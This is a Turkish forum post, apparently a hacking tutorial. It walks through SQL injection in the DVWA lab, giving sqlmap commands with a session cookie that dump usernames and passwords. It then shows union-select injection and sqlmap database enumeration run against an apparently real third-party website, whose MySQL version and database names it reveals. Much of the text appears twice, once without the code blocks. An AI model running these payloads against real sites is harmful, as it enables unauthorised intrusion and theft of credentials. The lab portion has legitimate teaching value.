1.) Manuel SQL injection Ve Manuel kolon sayısı tespiti.
[ame="https://www.youtube.com/watch?v=phfAdz3WzbY"]https://www.youtube.com/watch?v=phfAdz3WzbY[/ame]
İlk önce alttaki görselde olduğu gibi DVWA Security girip "Low" Seviyesini Seçelim.
Ardından SQL injection (Blind) Kısmına Geliyoruz.
Alttaki görselde olduğu gibi "USUR ID" kutucuğuna "1" Değerini girdim ve bana "User ID exists in the database." Yazısını verdi.
Peki Burda bana söylenen ne?
1 Değerini girdim ve bana "User ID exists in the database." Yazısını verdi. Girdiğim 1 değerinin bir kaydının olduğunu SQL injection'a karşı güvenlik zaafiyetini olduğunu anladık.
sonrasın'da dvwa'da F12 tuşuna basarak "Appilication" Kısmına geliyoruz.
Sol taraftaki "Cookies" e tıklayıp "http://localhost"a geliyoruz.
Okla Gösterdiğim çerezleri birleştiriyoruz.
Dvwa yani local hostumunuz urlsini alıp Cookies çerezlerimiz ile birleştiriyoruz
Yukarıda birleştirdiğim gibi olacak. Önemli bir nokta "localhost" olan kısmı Ana makinanızın IP si olacak örnek "192.168.1.20" bunu öğrenmek için cmd > ipconfig > IPv4 Adresi kısmındaki IP girin.
SQLmap açalım ve şu şekilde sqlmap'a urlmizi atalım.
Çıkan sonuç şu şekilde olacaktır;
Bundan sonra ise dvwa adlı tablo çekilmelidir çekmek için;
dvwa tablosunu çektiğimizde böyle bir durum ile karşılaşacağız; Ve user, çekmemiz gerekecek.
user kolonunu çekmek için;
Alacağımız Sonuç;
Ve son olarak "-D dvwa -T users -C user,password --dump" Ekleyerek User,pass bilgilerimizi çekelim.
sqlmap'a yukarıdaki gibi atıyoruz ve Son işlem olarak user,pass bilgilerimize ulaşmış oluyoruz.
3.) order + by ile MySQL versiyon tespiti Nasıl Yapılır?
İlk önce sitemizde SQL injection açığı var mı yok mu onu öğrenelim bunu öğrenmek için
id=5 değerinin sonuna " ' " Tek tırnak veya " Çift tırnak ekleyelim.
MySQL tespiti yapmadan önce kolon sayımızı bulalaım.
order+by+1,2,3,4,5 ekleyerek SQL hatası aldım ve Kolon sayımızın 5 olduğunu anladık.
ardından yapacağımız işlem bu sefer order+by komutu değil'de " union+select+ " komutu olacak
?id=5+union+select+0,1,2,3,4,5 yaparak işleme devam ediyoruz fakat dikkat etmemiz gereken önemli bir husus var, başlarken 0 ile başladığı için sıfırın da sayılması sebebi ile 0,1,2,3,4,5 olarak yapıldığın da kolon sayısı 6 ya yükselmiş olacak bu yüzden sıfır ile beraber toplam da 5 sayı olması gerekiyor yani şöyle 0,1,2,3,4.
Devam edelim ?id=5+union+select+0,1,2,3 yazdım MySQL versiyonunu öğrenmek için eklememiz gereken bir şey daha var o da ?id=-5 "5" Rakamının önüne ' - ' Tire eklemek.
Tire eklendikten sonra tablo sayısı bir olduğu için 0,1,2,3 kısmındaki '1' i silip onun yerine
"version()" yazıyoruz. Ve hemen ekranımıza MySQL versiyonunun yansıdığını görmüş olacağız.
En son İlem şu şekilde olacak
Anlamayanlar için Video olarak da çektim Daha iyi anlamaları için izleyebilirler.
[ame="https://www.youtube.com/watch?v=lGKLe10UJoM&t=1s"]https://www.youtube.com/watch?v=lGKLe10UJoM&t=1s[/ame]
3.) SQLmap İle Veri Tabanı İsmi Tespiti.
SQLmap ile veritabanı isim tepiti nasıl yapılır?.
Sql injection açığı olan bir web sitesi olması lazım sql açığı yok ise bu işlemi gerçekleştiremeyiz
Ben bir SQL açıklı site bulmuştum şimdi sqlmap'ı açıp şu kodu gireceğiz;
Pentest Box kullananlar şu şekilde girecek;
Üstteki kodumuzu girdikten sonra böyle bir eklan karşılaşacağız;
Ve sqlmap işlemi bitirince bize veritabanı ismini gösterecek bakalım veri tabanı isimlerimiz neymiş;
Veri Tabanları sorunsuz bir şekilde çektik ve Veri Tabanı ismimizi öğrendik. [*] beaconn_neweb Bizim veri Tabanı ismimiz.
[ame="https://www.youtube.com/watch?v=phfAdz3WzbY"]https://www.youtube.com/watch?v=phfAdz3WzbY[/ame]
2.) Blind SQL İnjection [LOW]
sqlmap da sorun olduğun için yazılı şekilde anlatım yapacağım sorun çözünce Video Ekleyeceğim.İlk önce alttaki görselde olduğu gibi DVWA Security girip "Low" Seviyesini Seçelim.
Ardından SQL injection (Blind) Kısmına Geliyoruz.
Alttaki görselde olduğu gibi "USUR ID" kutucuğuna "1" Değerini girdim ve bana "User ID exists in the database." Yazısını verdi.
Peki Burda bana söylenen ne?
1 Değerini girdim ve bana "User ID exists in the database." Yazısını verdi. Girdiğim 1 değerinin bir kaydının olduğunu SQL injection'a karşı güvenlik zaafiyetini olduğunu anladık.
sonrasın'da dvwa'da F12 tuşuna basarak "Appilication" Kısmına geliyoruz.
Sol taraftaki "Cookies" e tıklayıp "http://localhost"a geliyoruz.
Okla Gösterdiğim çerezleri birleştiriyoruz.
Kod:
security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5
Dvwa yani local hostumunuz urlsini alıp Cookies çerezlerimiz ile birleştiriyoruz
Kod:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# --cokie="security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5" -p id --technique=B --dbms=MySQL --dbs
Yukarıda birleştirdiğim gibi olacak. Önemli bir nokta "localhost" olan kısmı Ana makinanızın IP si olacak örnek "192.168.1.20" bunu öğrenmek için cmd > ipconfig > IPv4 Adresi kısmındaki IP girin.
SQLmap açalım ve şu şekilde sqlmap'a urlmizi atalım.
Çıkan sonuç şu şekilde olacaktır;
Bundan sonra ise dvwa adlı tablo çekilmelidir çekmek için;
Kod:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# --cokie="security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5" -p id --technique=B --dbms=MySQL --dbs -D dvwa --tables
dvwa tablosunu çektiğimizde böyle bir durum ile karşılaşacağız; Ve user, çekmemiz gerekecek.
user kolonunu çekmek için;
Kod:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# --cokie="security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5" -p id --technique=B --dbms=MySQL --dbs -D dvwa -T users --columns
Alacağımız Sonuç;
Ve son olarak "-D dvwa -T users -C user,password --dump" Ekleyerek User,pass bilgilerimizi çekelim.
Kod:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# --cokie="security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5" -p id --technique=B --dbms=MySQL --dbs -D dvwa -T users -C user,password --dump
sqlmap'a yukarıdaki gibi atıyoruz ve Son işlem olarak user,pass bilgilerimize ulaşmış oluyoruz.
3.) order + by ile MySQL versiyon tespiti Nasıl Yapılır?
Üzerinde uygulayıp göstereceğim site;
Kod:
http://www.beaconnetwork.in/Product1.php?id=5
İlk önce sitemizde SQL injection açığı var mı yok mu onu öğrenelim bunu öğrenmek için
id=5 değerinin sonuna " ' " Tek tırnak veya " Çift tırnak ekleyelim.
MySQL tespiti yapmadan önce kolon sayımızı bulalaım.
order+by+1,2,3,4,5 ekleyerek SQL hatası aldım ve Kolon sayımızın 5 olduğunu anladık.
ardından yapacağımız işlem bu sefer order+by komutu değil'de " union+select+ " komutu olacak
?id=5+union+select+0,1,2,3,4,5 yaparak işleme devam ediyoruz fakat dikkat etmemiz gereken önemli bir husus var, başlarken 0 ile başladığı için sıfırın da sayılması sebebi ile 0,1,2,3,4,5 olarak yapıldığın da kolon sayısı 6 ya yükselmiş olacak bu yüzden sıfır ile beraber toplam da 5 sayı olması gerekiyor yani şöyle 0,1,2,3,4.
Devam edelim ?id=5+union+select+0,1,2,3 yazdım MySQL versiyonunu öğrenmek için eklememiz gereken bir şey daha var o da ?id=-5 "5" Rakamının önüne ' - ' Tire eklemek.
Tire eklendikten sonra tablo sayısı bir olduğu için 0,1,2,3 kısmındaki '1' i silip onun yerine
"version()" yazıyoruz. Ve hemen ekranımıza MySQL versiyonunun yansıdığını görmüş olacağız.
En son İlem şu şekilde olacak
Kod:
http://www.beaconnetwork.in/Product1.php?id=-5+union+select+0,version(),2,3
Anlamayanlar için Video olarak da çektim Daha iyi anlamaları için izleyebilirler.
[ame="https://www.youtube.com/watch?v=lGKLe10UJoM&t=1s"]https://www.youtube.com/watch?v=lGKLe10UJoM&t=1s[/ame]
3.) SQLmap İle Veri Tabanı İsmi Tespiti.
SQLmap ile veritabanı isim tepiti nasıl yapılır?.
Sql injection açığı olan bir web sitesi olması lazım sql açığı yok ise bu işlemi gerçekleştiremeyiz
Ben bir SQL açıklı site bulmuştum şimdi sqlmap'ı açıp şu kodu gireceğiz;
Kod:
sqlmap.py -u www.website.com/index.php?id=5 --dbs
Pentest Box kullananlar şu şekilde girecek;
Kod:
sqlmap sqlmap.py -u www.website.com/index.php?id=5 --dbs
Üstteki kodumuzu girdikten sonra böyle bir eklan karşılaşacağız;
Ve sqlmap işlemi bitirince bize veritabanı ismini gösterecek bakalım veri tabanı isimlerimiz neymiş;
Kod:
[*] beaconn_neweb
[*] information_schema
Veri Tabanları sorunsuz bir şekilde çektik ve Veri Tabanı ismimizi öğrendik. [*] beaconn_neweb Bizim veri Tabanı ismimiz.
Son düzenleme: